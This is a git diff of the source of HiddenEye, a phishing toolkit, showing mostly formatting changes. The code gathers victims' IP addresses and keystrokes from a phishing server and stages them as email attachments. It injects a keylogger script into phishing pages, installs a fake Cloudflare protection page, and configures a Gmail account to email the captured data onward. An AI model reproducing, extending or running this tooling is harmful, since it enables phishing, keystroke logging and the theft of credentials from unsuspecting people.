pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True)
|
||||
# && cat Server/www/ip.txt >> Server/CapturedData/ip.txt
|
||||
captured_ips = open('Server/CapturedData/ip.txt', 'a')
|
||||
new_ips = open('Server/www/ip.txt')
|
||||
log_writer(localization.
|
||||
lang_credentials_collector["device_details_found"] +
|
||||
"{0}{2}{1}".format(default_palette[2],
|
||||
default_palette[3], lines))
|
||||
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777,
|
||||
exist_ok=True)
|
||||
captured_ips = open("Server/CapturedData/ip.txt", "a")
|
||||
new_ips = open("Server/www/ip.txt")
|
||||
captured_ips.write(new_ips.read())
|
||||
new_ips.close()
|
||||
captured_ips.close()
|
||||
# && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt
|
||||
copyfile('Server/CapturedData/ip.txt', 'Defs/FeatureManager/EmailManager/attachments/ip.txt')
|
||||
# && rm -rf Server/www/ip.txt
|
||||
new_ips = open('Server/www/ip.txt', 'w')
|
||||
# && touch Server/www/ip.txt')
|
||||
new_ips.write('')
|
||||
copyfile(
|
||||
"Server/CapturedData/ip.txt",
|
||||
"Defs/FeatureManager/EmailManager/attachments/ip.txt",
|
||||
)
|
||||
new_ips = open("Server/www/ip.txt", "w")
|
||||
new_ips.write("")
|
||||
new_ips.close()
|
||||
|
||||
|
||||
creds.close()
|
||||
|
||||
with open('Server/www/KeyloggerData.txt') as creds:
|
||||
with open("Server/www/KeyloggerData.txt") as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(global_localization.line_of_dots)
|
||||
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
#run_command('touch Server/CapturedData/KeyloggerData.txt
|
||||
pathlib_Path('Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True)
|
||||
# && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt
|
||||
captured_keys = open('Server/CapturedData/KeyloggerData.txt', 'a')
|
||||
new_keys = open('Server/www/KeyloggerData.txt')
|
||||
log_writer(localization.
|
||||
lang_credentials_collector["getting_pressed_keys"] +
|
||||
"{0}{2}{1}".format(default_palette[2],
|
||||
default_palette[3], lines))
|
||||
pathlib_Path("Server/CapturedData/KeyloggerData.txt").touch(
|
||||
mode=0o777, exist_ok=True)
|
||||
captured_keys = open("Server/CapturedData/KeyloggerData.txt",
|
||||
"a")
|
||||
new_keys = open("Server/www/KeyloggerData.txt")
|
||||
captured_keys.write(new_keys.read())
|
||||
new_keys.close()
|
||||
captured_keys.close()
|
||||
# && cp Server/CapturedData/KeyloggerData.txt Defs/Send_Email/attachments/KeyloggerData.txt
|
||||
copyfile('Server/CapturedData/KeyloggerData.txt', 'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt')
|
||||
# && rm -rf Server/www/KeyloggerData.txt
|
||||
new_keys = open('Server/www/KeyloggerData.txt', 'w')
|
||||
# && touch Server/www/KeyloggerData.txt')
|
||||
new_keys.write('')
|
||||
copyfile(
|
||||
"Server/CapturedData/KeyloggerData.txt",
|
||||
"Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt",
|
||||
)
|
||||
new_keys = open("Server/www/KeyloggerData.txt", "w")
|
||||
new_keys.write("")
|
||||
new_keys.close()
|
||||
|
||||
log_writer(global_localization.line_of_dots)
|
||||
|
||||
creds.close()
|
||||
|
||||
|
||||
def log_writer(ctx): # Writing log
|
||||
logFile = open("log.txt", "w")
|
||||
logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n")
|
||||
"""I have no idea what it does, someone does, so if you are reading this - explain wtf is this method...
|
||||
|
||||
Args:
|
||||
ctx ([type]): [description]
|
||||
"""
|
||||
log_file = open("log.txt", "w")
|
||||
log_file.write(
|
||||
ctx.replace(default_palette[0], "").replace(
|
||||
default_palette[1], "").replace(default_palette[2], "").replace(
|
||||
default_palette[3], "").replace(default_palette[4], "") + "\n")
|
||||
print(ctx)
|
||||
|
||||
def port_selector(): # Question where user must select port
|
||||
run_command('clear')
|
||||
#print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
# )
|
||||
|
||||
def port_selector(): # Requests port input from user
|
||||
"""Asks user to input number between 1 and 65535.
|
||||
|
||||
Returns:
|
||||
string: Returns any number entered if it's between 1 and 65535, if it's not - asks for number again.
|
||||
"""
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
|
@ -188,54 +230,99 @@ def port_selector(): # Question where user must select port
|
|||
choice = input(global_localization.input_line)
|
||||
try:
|
||||
if int(choice) > 65535 or int(choice) < 1:
|
||||
return selectPort()
|
||||
return port_selector()
|
||||
else:
|
||||
return choice
|
||||
except:
|
||||
return port_selector()
|
||||
|
||||
|
||||
def remove_readonly(func, path, _):
|
||||
"Clear the readonly bit"
|
||||
chmod(path, stat.S_IWRITE)
|
||||
"""Removes read-only state of file (IDK why it exists but it does already, so...)
|
||||
|
||||
Args:
|
||||
func ([type]): [description]
|
||||
path ([type]): [description]
|
||||
_ ([type]): [description]
|
||||
"""
|
||||
chmod(path, mode=stat.S_IWRITE)
|
||||
func(path)
|
||||
|
||||
|
||||
def global_message():
|
||||
"""Sends default HiddenEye header message. (Logo, website link, etc.)"""
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
|
||||
|
||||
def verify_connection(host='https://dark-sec-official.com'): # Connection check
|
||||
run_command('clear')
|
||||
def verify_connection(
|
||||
host="https://dark-sec-official.com"): # Connection check
|
||||
run_command("clear")
|
||||
try:
|
||||
req = requests.get(host, timeout=25)
|
||||
if req.status_code == 200:
|
||||
print(localization.lang_verify_connection["connected"])
|
||||
pass
|
||||
except:
|
||||
print(localization.lang_verify_connection["disconnected"])
|
||||
except ConnectionError:
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(localization.lang_verify_connection["disconnected"])
|
||||
print(localization.lang_verify_connection["verify_your_connection"])
|
||||
exit()
|
||||
print(localization.lang_verify_connection["continue_warning"])
|
||||
print(localization.lang_verify_connection["continue_confirmation"])
|
||||
internet_choice = input(global_localization.input_line).lower()
|
||||
if internet_choice == "y":
|
||||
pass
|
||||
elif internet_choice == "n":
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(" " +
|
||||
global_localization.by_darksec)
|
||||
print(" " +
|
||||
global_localization.official_website_link)
|
||||
print(localization.lang_exit_message["help_to_improve_this_tool"])
|
||||
print(localization.lang_exit_message["tell_if_page_got_broken"])
|
||||
print(localization.
|
||||
lang_exit_message["make_your_pull_request_or_issue"])
|
||||
print(
|
||||
localization.lang_exit_message["small_disclaimer_suggestion"])
|
||||
print(localization.lang_exit_message["forum_suggestion"])
|
||||
print(localization.lang_exit_message["financial_support"])
|
||||
print(localization.lang_exit_message["thank_you"])
|
||||
exit()
|
||||
else:
|
||||
verify_connection()
|
||||
|
||||
|
||||
def check_permissions():
|
||||
|
||||
if platform_os() != "Windows":
|
||||
if check_platform("system") == "Linux":
|
||||
if getuid() == 0:
|
||||
print(localization.lang_check_permissions["permissions_granted"])
|
||||
else:
|
||||
print(localization.lang_check_permissions["permissions_denied"])
|
||||
exit()
|
||||
else:
|
||||
print(localization.lang_check_permissions["windows_warning"])
|
||||
exit()
|
||||
|
||||
|
||||
def check_php():
|
||||
try:
|
||||
try_to_run_command(['php', '-v'])
|
||||
try_to_run_command(["php", "-v"])
|
||||
print(localization.lang_check_php["found"])
|
||||
except:
|
||||
except ModuleNotFoundError:
|
||||
print(localization.lang_check_php["not-found"])
|
||||
exit()
|
||||
|
||||
|
||||
def check_platform(required_data: str):
|
||||
""" Checks system for specific platform related data and returns requested value.
|
||||
:param required_data: accepts "system" or "architecture"
|
||||
:type required_data: requires string input
|
||||
:return: returns data specified as required_data, Returns all if required_data isn't specified """
|
||||
system = platform.system()
|
||||
architecture = platform.machine()
|
||||
if required_data == "system":
|
||||
return system
|
||||
elif required_data == "architecture":
|
||||
return architecture
|
||||
else:
|
||||
return "System: {0}, Architecture: {1}".format(system, architecture)
|
||||
|
|
|
@ -4,97 +4,96 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import base64
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import getpass
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import system
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
def captured_data_email_prompt():
|
||||
run_command('clear')
|
||||
print('''{1}
|
||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"-------------------------------\n{0}[ PROMPT: NEED CAPTURED DATA TO EMAIL ? ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}!{0}]{1}No Need To Configure, If you have Already Done. ".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}*{0}]{0}DO YOU WANT CAPTURED DATA TO BE EMAILED, THEN CREATE CONFIG FILE -{1}(Y/N)".format(default_palette[0], default_palette[4]))
|
||||
choice = input("\n\n{1}{0}YOUR CHOICE >>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
|
||||
if choice == 'Y':
|
||||
print("\n{0}[{1}!{0}] BEFORE STARTING MAKE SURE THESE THINGS: \n\n{0}[{1}+{0}] {1}YOU HAVE CORRECT GMAIL USERNAME & PASSWORD\n{0}[{1}+{0}] {1}YOU HAVE DISABLED 2-FACTOR AUTHENTICATION FROM YOUR GMAIL ACCOUNT\n{0}[{1}+{0}] {1}YOU HAVE TURNED ON LESS SECURED APPS \n (https://myaccount.google.com/lesssecureapps) \n\n".format(default_palette[0], default_palette[4]))
|
||||
input('[.] Press Enter To Start Configuring Gmail Credential File...')
|
||||
captured_data_email_configuration_prompt()
|
||||
elif choice == 'N':
|
||||
pass
|
||||
else:
|
||||
print('[^] ERROR: Please choose correct option to continue...')
|
||||
wait(1)
|
||||
captured_data_email_prompt()
|
||||
|
||||
def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address.
|
||||
# Ask user to start sending credentials to recipient Email Address.
|
||||
def captured_data_email_confirmation(port):
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
|
||||
choice = input(
|
||||
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
|
||||
if choice == 'Y' or choice == 'y':
|
||||
if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py') == True:
|
||||
system('python3 Defs/FeatureManager/EmailManager/SendEmail.py')
|
||||
"\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}"
|
||||
.format(default_palette[0], default_palette[4],
|
||||
default_palette[2])).upper()
|
||||
if choice == "Y" or choice == "y":
|
||||
if path.isfile("Defs/FeatureManager/EmailManager/emailconfig.py"):
|
||||
system("python3 Defs/FeatureManager/EmailManager/SendEmail.py")
|
||||
else:
|
||||
print(
|
||||
'[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.')
|
||||
"[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION."
|
||||
)
|
||||
wait(2)
|
||||
simple_informant.exit_message(port)
|
||||
elif choice == 'N' or choice == 'n':
|
||||
elif choice == "N" or choice == "n":
|
||||
simple_informant.exit_message(port)
|
||||
else:
|
||||
system('clear')
|
||||
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(default_palette[0], default_palette[4], default_palette[2]))
|
||||
system("clear")
|
||||
print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(
|
||||
default_palette[0], default_palette[4], default_palette[2]))
|
||||
wait(1)
|
||||
system('clear')
|
||||
system("clear")
|
||||
return captured_data_email_confirmation(port)
|
||||
|
||||
|
||||
def captured_data_email_configuration_prompt():
|
||||
run_command('clear')
|
||||
print('''{1}
|
||||
run_command("clear")
|
||||
print("""{1}
|
||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
|
||||
print("-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
|
||||
#run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||
copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py', 'Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4]))
|
||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
||||
{0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
|
||||
default_palette[2]))
|
||||
print(
|
||||
"-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
# run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
|
||||
copyfile(
|
||||
"Defs/FeatureManager/EmailManager/EmailConfigDefault.py",
|
||||
"Defs/FeatureManager/EmailManager/emailconfig.py",
|
||||
)
|
||||
GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT)
|
||||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
||||
c = read_data.replace("GMAILACCOUNT", GMAILACCOUNT)
|
||||
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
||||
print("{0}[.] {1}Email Address Added To config File. !\n".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
GMAILPASSWORD = getpass.getpass(
|
||||
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4]))
|
||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
||||
"{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
|
||||
read_data = f.read()
|
||||
GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode())
|
||||
GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8'))
|
||||
c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD)
|
||||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
||||
GMAILPASSWORD = GMAILPASSWORD.decode("utf-8")
|
||||
c = read_data.replace("GMAILPASSWORD", GMAILPASSWORD)
|
||||
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
||||
RECIPIENTEMAIL = input(
|
||||
"{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4]))
|
||||
with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
|
||||
print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
RECIPIENTEMAIL = input("{0}[{1}+{0}] Enter Recipient Email:{1} ".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL)
|
||||
f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
|
||||
c = read_data.replace("RECIPIENTEMAIL", RECIPIENTEMAIL)
|
||||
f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
|
||||
print("{0}[.] {1}Recipient Email Address Added To config File. !\n".
|
||||
format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
'\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format(default_palette[0], default_palette[4]))
|
||||
"\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
|
|
1
Defs/FeatureManager/__init__.py
Normal file
1
Defs/FeatureManager/__init__.py
Normal file
|
@ -0,0 +1 @@
|
|||
|
|
@ -4,44 +4,30 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, pathlib_Path, replace, copyfile, chmod
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import chmod
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import replace
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
def add_cloudflare_prompt():
|
||||
|
||||
run_command('clear')
|
||||
print('''{1}
|
||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
|
||||
print("-------------------------------\n{0}[ CLOUDFARE PROTECTION PROMPT ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}*{0}]{0}DO YOU WANT TO ADD A CLOUDFARE PROTECTION FAKE PAGE -{1}(Y/N)".format(default_palette[0], default_palette[4]))
|
||||
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2])).upper()
|
||||
if choice == 'Y':
|
||||
add_cloudfare()
|
||||
else:
|
||||
wait(1)
|
||||
|
||||
|
||||
def add_cloudfare():
|
||||
#run_command('mv Server/www/index.* Server/www/home.php &
|
||||
# run_command('mv Server/www/index.* Server/www/home.php &
|
||||
# & cp WebPages/cloudfare.html Server/www/index.html')
|
||||
chmod('Server', 0o777)
|
||||
chmod('Server/www', 0o777)
|
||||
chmod("Server", 0o777)
|
||||
chmod("Server/www", 0o777)
|
||||
try:
|
||||
replace('Server/www/index.php', 'Server/www/home.php')
|
||||
replace("Server/www/index.php", "Server/www/home.php")
|
||||
except:
|
||||
replace('Server/www/index.html', 'Server/www/home.php')
|
||||
replace("Server/www/index.html", "Server/www/home.php")
|
||||
else:
|
||||
print('Unable to find index file, skipping...')
|
||||
print("Unable to find index file, skipping...")
|
||||
return
|
||||
copyfile('WebPages/cloudflare.html', 'Server/www/index.html')
|
||||
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(default_palette[0], default_palette[4]))
|
||||
copyfile("WebPages/cloudflare.html", "Server/www/index.html")
|
||||
print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
wait(1)
|
||||
|
||||
|
|
44
Defs/FeatureManager/feature_prompt.py
Normal file
44
Defs/FeatureManager/feature_prompt.py
Normal file
|
@ -0,0 +1,44 @@
|
|||
#
|
||||
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
||||
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
||||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
from time import sleep
|
||||
|
||||
import Defs.FeatureManager.cloudflare as cloudflare
|
||||
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
||||
import Defs.FeatureManager.keylogger as keylogger
|
||||
import Defs.LocalizationManager.lang_feature_manager.lang_feature_prompt as feature_localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def feature_prompt():
|
||||
run_command("clear")
|
||||
print(global_localization.small_logo)
|
||||
print(feature_localization.feature_prompt["feature_alert"])
|
||||
print(feature_localization.feature_prompt["keylogger"])
|
||||
print(feature_localization.feature_prompt["cloudfare"])
|
||||
print(feature_localization.feature_prompt["email"])
|
||||
print(feature_localization.feature_prompt["none"])
|
||||
print(feature_localization.feature_prompt["example"])
|
||||
option = input(global_localization.input_line).lower()
|
||||
|
||||
letters = ["a", "b", "c"]
|
||||
|
||||
for x in option:
|
||||
if x in letters:
|
||||
if "a" in x:
|
||||
keylogger.add_keylogger()
|
||||
elif "b" in x:
|
||||
cloudflare.add_cloudfare()
|
||||
elif "c" in x:
|
||||
email_prompt.captured_data_email_configuration_prompt()
|
||||
else:
|
||||
print(global_localization.invalid_option)
|
||||
sleep(3)
|
||||
feature_prompt()
|
|
@ -4,51 +4,34 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, path
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def add_keylogger_prompt():
|
||||
run_command('clear')
|
||||
print('''{1}
|
||||
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{1}http://github.com/darksecdevelopers
|
||||
{0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
|
||||
print("-------------------------------\n{0}[ KEYLOGGER PROMPT ]{1}!! {0}\n-------------------------------".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}!{0}]{1}ATTENTION: Adding Keylogger Mostly Kills the Tunnel Connection.\n".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}*{0}]{0}DO YOU WANT TO ADD A KEYLOGGER IN PHISHING PAGE-{1}(Y/N)".format(default_palette[0], default_palette[4]))
|
||||
choice = input("\n\n{1}{0}YOUR CHOICE >>> {2}".format(default_palette[0], default_palette[4], default_palette[2])).upper()
|
||||
if choice == 'Y':
|
||||
add_keylogger()
|
||||
else:
|
||||
wait(1)
|
||||
|
||||
|
||||
def add_keylogger():
|
||||
if path.exists('Server/www/index.html'):
|
||||
with open('Server/www/index.html') as f:
|
||||
if path.exists("Server/www/index.html"):
|
||||
with open("Server/www/index.html") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace(
|
||||
'</title>', '</title><script src="keylogger.js"></script>')
|
||||
f = open('Server/www/index.html', 'w')
|
||||
c = read_data.replace("</title>",
|
||||
'</title><script src="keylogger.js"></script>')
|
||||
f = open("Server/www/index.html", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
wait(2)
|
||||
else:
|
||||
with open('Server/www/index.php') as f:
|
||||
with open("Server/www/index.php") as f:
|
||||
read_data = f.read()
|
||||
c = read_data.replace(
|
||||
'</title>', '</title><script src="keylogger.js"></script>')
|
||||
f = open('Server/www/index.php', 'w')
|
||||
c = read_data.replace("</title>",
|
||||
'</title><script src="keylogger.js"></script>')
|
||||
f = open("Server/www/index.php", "w")
|
||||
f.write(c)
|
||||
f.close()
|
||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4]))
|
||||
print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
wait(2)
|
||||
|
||||
|
|
|
@ -4,16 +4,36 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
from subprocess import call as run_command, check_call as try_to_run_command ,Popen as run_background_command, check_output, CalledProcessError, DEVNULL, PIPE
|
||||
from distutils.dir_util import copy_tree as webpage_set
|
||||
from time import sleep as wait
|
||||
from os import path, system, chmod, stat, mkdir, remove, chdir, replace, getuid
|
||||
from shutil import rmtree, copyfile
|
||||
from pathlib import Path as pathlib_Path
|
||||
from pyngrok import ngrok
|
||||
import base64
|
||||
import getpass
|
||||
import platform
|
||||
import re as regular_expression
|
||||
import getpass, base64, socket, requests
|
||||
from platform import system as platform_os
|
||||
import requests
|
||||
import socket
|
||||
import stat
|
||||
from distutils.dir_util import copy_tree as webpage_set
|
||||
from io import BytesIO
|
||||
from os import chdir
|
||||
from os import chmod
|
||||
from os import getuid
|
||||
from os import mkdir
|
||||
from os import path
|
||||
from os import remove
|
||||
from os import replace
|
||||
from os import system
|
||||
from pathlib import Path as pathlib_Path
|
||||
from shutil import copyfile
|
||||
from shutil import rmtree
|
||||
from subprocess import call as run_command
|
||||
from subprocess import CalledProcessError
|
||||
from subprocess import check_call as try_to_run_command
|
||||
from subprocess import check_output
|
||||
from subprocess import DEVNULL
|
||||
from subprocess import PIPE
|
||||
from subprocess import Popen as run_background_command
|
||||
from time import sleep as wait
|
||||
from urllib import request as url_request
|
||||
from zipfile import ZipFile
|
||||
|
||||
import requests
|
||||
from pyngrok import conf as ngrok_conf
|
||||
from pyngrok import ngrok
|
||||
|
|
|
@ -4,13 +4,14 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
|
||||
import Defs.ThemeManager.theme as theme
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def print_sorted_as_menu(sorting_list):
|
||||
col_width = max(len(word) for row in sorting_list for word in row) + 2
|
||||
for row in sorting_list:
|
||||
print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2]))
|
||||
print("".join(word.ljust(col_width)
|
||||
for word in row).format(default_palette[0],
|
||||
default_palette[2]))
|
||||
|
|
|
@ -4,79 +4,193 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
#Contains all ActionManager/main_runner.py translation strings
|
||||
# Contains all ActionManager/main_runner.py translation strings
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.LocalizationManager.localization import _
|
||||
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
def check_version(): #WILL BE MOVED FROM HERE
|
||||
with open('version.txt') as f: # THIS WILL BE MOVED TOO
|
||||
#ver_current = f.read() # DONT REMOVE THESE COMMENTS
|
||||
#version = ver_current.strip() # TO-DO
|
||||
|
||||
def check_version(): # WILL BE MOVED FROM HERE
|
||||
with open("version.txt") as f: # THIS WILL BE MOVED TOO
|
||||
# ver_current = f.read() # DONT REMOVE THESE COMMENTS
|
||||
